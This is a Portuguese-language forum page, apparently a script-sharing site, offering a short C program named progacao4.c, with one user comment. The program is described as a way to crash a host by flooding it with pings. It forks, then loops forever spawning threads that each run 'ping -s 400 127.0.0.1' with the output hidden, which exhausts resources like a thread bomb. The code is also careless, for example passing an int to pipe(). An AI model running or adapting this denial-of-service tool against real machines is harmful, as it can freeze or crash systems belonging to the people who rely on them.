Descrição
O host responderá a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término. O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
[ Download:
progacao4.c ]
[
Enviar nova versão ]
[ Esconder código-fonte ]
/* progacao4.c */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void ping(char *host); /* para usar a função na
thread o cabeçalho da função deve estar declarado
*/
acao()
{
int return_thread;
pthread_t thread;
while (1)
{
return_thread=pthread_create (&thread, NULL,
(void *)ping,"ping -s 400 127.0.0.1"); /* criando
a thread */
usleep (10); /* já explicado no exemplo 2
*/
}
}
main () /* o main já foi esplicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
void ping (char *host)
{
int desc;
close(1);
pipe (desc); /* o pipe já foi esplicado no
exemplo 1 */
system (host); /* executa um comando do sistema
(ping, ls, rm, mv etc.) */
}
Scripts recomendados
Programa para cálculo vetorial
Menu com teclas direcionais
Argv e Argc
Operadores Lógicos
Números Primos
Comentários
[1] Comentário enviado por
bolche em 14/07/2008 - 12:19h:
Hoje em dia poucos sistemas travam por ser entupidos de pings, a menos que sejam um monte de computadores contra o mesmo host.
Geralmente a conexão não é rápida o suficiente para acabar com ele.